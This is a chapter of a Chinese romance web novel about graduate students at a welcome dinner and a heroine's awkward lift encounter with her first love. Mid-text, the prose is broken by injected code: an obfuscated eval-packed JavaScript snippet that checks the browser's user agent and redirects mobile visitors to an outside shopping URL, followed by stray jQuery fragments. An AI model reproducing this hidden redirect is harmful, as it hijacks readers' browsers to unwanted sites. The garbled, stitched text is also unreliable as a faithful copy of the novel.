今天晚上是师兄瞿文山的洗尘宴。
瞿文山是蒋霜意带的博士生,今年二十八,前段时间一直在研究所实习,今天才回到疏川。
陈崇达和蒋霜意特地定了个大包厢,有桌席也有休息处,借着给瞿文山洗尘顺便把他们带的学生都叫来热闹热闹。
陈崇达和蒋霜意是夫妇,底下的学生关系也很好,几乎都是互称同门前后辈的关系,叫混了也没人在意。
学生们都是二十出头的年轻人,尤其是他们带的博士生,也都到了适婚的年纪,如果能在席间看对眼结成夫妇也算美事一桩,陈崇达和蒋霜意年轻时就是这么走到一起的,所以他们也很支持学生之间的自由恋爱。
今天大家都稍微喝了点酒,加上年轻人多,气氛很快就热络了起来,桌席上是一群人,一旁的休息处也已经聚着一堆人玩起了游戏。
席间蒋教授忽然开口,“诶矜衿,你不是要搬家了吗,让你师兄帮你去啊。”
忽然被点名的云矜抬起头,想了一下,“算了,就师兄那个身板儿,我都怕他折在半路。”
“什么啊,我最近也是有在健身的好不好?”瞿文山很不服气,他显然也有点微醺了,隔着空气戳云矜表达自己的不满,“就知道诋毁我,啧啧啧。”
云矜很嫌弃地摆手,“当初泡泡扑你一下你就直接摔骨折了,别提......”
“那是因为泡泡不刹车,我靠它跟个导弹一样就飞过来了我怎么来得及躲啊。”说着瞿文山就捋起袖子,转了一圈一定要大家看他的锻炼痕迹,“来看看,捏也行。”
“你这...”云矜手指晃了晃,一副挑剔的模样,“完全不行。”
“说得好像你很有经验一样。”瞿文山看着云矜那细胳膊细腿,笑她:“师妹你都没健过身吧?”
“没吃过猪肉还没看过猪跑啊?”云矜喝了点酒也有些上头,“你这才不叫薄肌,真的薄肌是要练出来的,有肌肉线条的同时还要控制体脂率,不是蛋白粉喝出来的死肌肉,是用力的时候硬硬的热热的,摸上去还能感觉到血液流动的肌肉,青筋偾起还一跳一跳的,然后不用力的时候像冰激凌布丁那样很好啃......”
“师妹,你怎么这么熟悉肌肉啊。”听她叽里咕噜讲了一大串,这回瞿文山智商占领高地了,“你、你是不是摸过?”
“光摸过会这么熟悉吗?”虞非晚也凑上来,看热闹不嫌事多:“应该是不止摸过,而且是经常摸经常感受,才会有这么专业的点评。”
云矜哑声,挠挠头,一副才发现自己嘴快说错了的吃瘪模样,“我瞎说的......”
“喔~”喝了点酒聚会的氛围都火热起来,刚刚在另一边玩真心话大冒险的那群人也围上来,势必要扒出云矜的情史,“什么什么,云矜摸过谁的肌肉啊?”
平时云矜和这群人并不相熟,上大课不太交流是一方面,另外一方面是云矜没课的时候基本都在兼职,很少和他们在学校里碰面,彼此之间都不太熟悉。
对于这群同门来说,云矜就是那个“平时不太见面,看起来不怎么读书但偏偏成绩很好”的天赋怪,也难怪两位导师都这么喜欢她。
他们几乎没怎么在图书馆里见过云矜,偶尔打招呼还是在校外的公交车站,她不是在兼职就是在出去兼职的路上,可偏偏每次测验她都能名列前茅,大家一致认为她就是天生聪明的那类人。
现在难得有了这个机会可以了解云矜,而且还是他们最感兴趣的情史八卦,他们自然不会轻易放过这个小云矜。
云矜被磨得不行,脸庞都在发热,她想着既然现场也没有知道她和孟礼来那段往事的人,也就半真半假地承认了,“就,前、前男友。”
“说清楚啦,是前男友还是前前男友啊?”
“矜衿一共谈过几段啊,我记得她本科的时候没有男朋友?”
“真假的!云矜长这么漂亮都没人追吗?”
“是没谈又不是没人追,你喝大了吧!”
是没有谈过,本科的时候云矜忙着到处兼职赚钱,行程比现在还忙。
现在云矜回忆起本科的时候,确实也有不少男生向她示好过,但他们长得都差点意思,也做不到对她言听计从、将她奉为皇帝,是以云矜对他们提不起半点兴趣。
这边聊得正热闹,无人在意的角落里,一个小团体悄然成型了。
他们望着被簇拥在人群中心的云矜,面上满是不屑,翻了个白眼嗤笑,“装什么。”
“万超你是不是也追过她?”
被点名的男生很不耐烦地打开了别人的手,“别瞎说。”
“我说真的,她一个教育学的天天往我们实验室跑什么,不知道的还以为她才是蒋霜意的学生。”冯丹剔着手上的美甲,语气不满,“本来项目就不多,她还要来分一杯羹。”
“还不是我们导儿偏心她呗,一点都不公平。”
......
宴会结束,大家欢欢快快地在酒店外面分别。
“文山,你负责把云矜送到家哦。”临走前,蒋霜意还在叮嘱瞿文山。
“知道了。”瞿文山心里想,真遇到危险恐怕是云矜拦在他前面,这样想着,他忍不住笑出了声。
“我用膝盖想都知道你在心里想什么。”云矜冷不丁地在他身后开口。
被当场抓包的瞿文山讪讪插兜,“走吧,师娘让我把你送回家。”
“师娘应该做梦都想不到,我俩搭伙回家不是因为你的绅士风度,而是因为你怕黑怕鬼又怕虫,每次我都得把你送回家再自己回家。”
“小点声啦师妹!”瞿文山环顾了一圈,确认没人听见后才放心,“放心吧,我今年真的不会再拿你当挡箭牌了。”
他说的是之前导师非要给他介绍相亲对象,瞿文山狗急跳墙说自己刚被云矜拒绝没心情谈恋爱的这事儿,别说这个主意虽然馊但确实有效果,代价是从此瞿文山再也没能在云矜跟前抬起头。
其实瞿文山这么一闹还帮她挡掉了不少烂桃花,但云矜没说,因为她并不想让这个师兄蹬鼻子上脸。
“那你就真找个女朋友呗。”云矜在手机上回着消息,漫不经心道:“师兄也不是不婚族吧,既然早晚都会结婚,现在也好找起来了。”
吹了会儿夜风,云矜也有些酒醒了。
她看他一眼,很无奈,“总拿我当挡箭牌也不是个事儿啊。”
瞿文山更无奈,“师妹我知道你太久没恋爱了不了解行情,但也别把谈恋爱这事儿说得跟下楼去菜市场买两斤猪肉那么简单好吗!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677275|207535||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“我看就是你初恋把你惯坏了。”瞿文山朝她做鬼脸,“就是他给了你恋爱很容易的错觉,这事儿他得负责。”
云矜裹了裹外套快走几步,“别总说那不吉利的。”
瞿文山得意地笑了。
他觉得这算是云矜的一个弱点,不论他们之前吵得有多么热火朝天,一提到初恋话题她就闭口不言了,这大概就叫做:师门第一女魔头和她无法言说的秘密初恋。
送瞿文山回家后,云矜又顺路去看了一套在附近的房子。
这个小区住户很多,流动性却不是很强,这栋楼大约是有老年住户,新加装了电梯。
她顺着人流进了电梯,心头猛地一跳。
看一眼,不确定,又看一眼。
不得不承认,有些人天生占据着人群的视觉中心,不论是颀长高挑的身段,抑或是冷淡俊朗的皮相。
可是...怎么在这里也能碰到孟礼来?!
这仿佛被鬼缠上了一般的缘分,云矜头疼地想到,干脆装作看不见吧。
这时候电梯门缓缓合上,门内的倒影正映出两人互相瞥向对方的视线。
云矜:“......”
这电梯门居然还是个镜面?!
这下装瞎已经来不及了,孟礼来显然已经注意到了自己,云矜也不好再装看不见。
她又想起那天苏琳琅说的话,虽然云矜不懂孟礼来到底意欲何为,但对方毕竟帮自己挡住了泡泡原主人的骚扰,对泡泡也算是上心,于是她主动开了口,“刚刚人多不好意思打招呼,晚上好。”
一听就像是在亡羊补牢的超敷衍理由。
不过孟礼来没什么反应,他的神色很淡,从镜面上移开视线后看向了正前方,“嗯。”
好冷淡...
不过正和云矜的意,她客气地开口,“请问您来这里是?”
“我家在这里。”
云矜诧异地看了一眼,误闯天家了?
她还能和孟礼来这种少爷租一起去?
似乎是察觉到了云矜的疑惑,孟礼来不着痕迹地补了句,“别墅还在检修,随便找了套房先过渡一下。”
随便…找了套房……
云矜的唇角微微抽动,该说不愧是少爷吗,房子说买就买,和她这种货比三家还要拉扯押一付三还是付二的穷鬼完全不一样。
看见云矜明显松了口气的样子,孟礼来的神色微肃,反问:“你来这边是要租房?”
“没,路过。”云矜面不改色地随口诹了句,“学生的家在这儿,我偶尔来这里做家教。”
因为撒谎,云矜下意识偏开目光拒绝了孟礼来的对视,于是孟礼来的视线只好顺着清瘦柔软的面部线条落到她的唇上。
嘴巴在不断开合,舔过的唇瓣有一点白色的起皮。
她不爱喝水,就是因为不爱喝水,所以高中时每次生了病都要花上比别人多一半的时间才能休息好。
那时候她即便生了病也不忘折腾孟礼来,他给她泡感冒药、替她抄上课笔记,她就在旁边捣乱,朝他吹气,勾/引他说要亲嘴,还说要让他陪她一起感冒,结果第二天起来感冒更严重了,还要怨孟礼来没有帮她分担病毒。
真的是很不讲理的一个人。孟礼来想。